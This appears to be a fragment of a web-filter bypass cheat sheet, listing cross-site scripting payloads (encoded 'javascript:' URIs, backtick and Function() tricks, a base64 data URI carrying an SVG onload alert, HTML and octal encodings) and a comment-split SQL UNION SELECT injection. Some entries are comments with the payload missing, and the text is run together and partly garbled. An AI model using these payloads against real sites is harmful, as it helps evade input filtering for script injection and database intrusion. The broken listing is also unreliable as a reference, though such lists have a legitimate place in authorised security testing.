$$\require{tex}$$

#changing the case of the tag < #using backticks instead of parenetheses java%0ascript:alert(1) #using encoded newline characters #uncommon tags #bypass space filter by using / where a space is expected xss #extra characters Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding /?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement new Function`alt\`6\``; #using backticks instead of parentheses data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript %26%2397;lert(1) #using HTML encoding #Using Line Feed (LF) line breaks # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine) #unicode encoding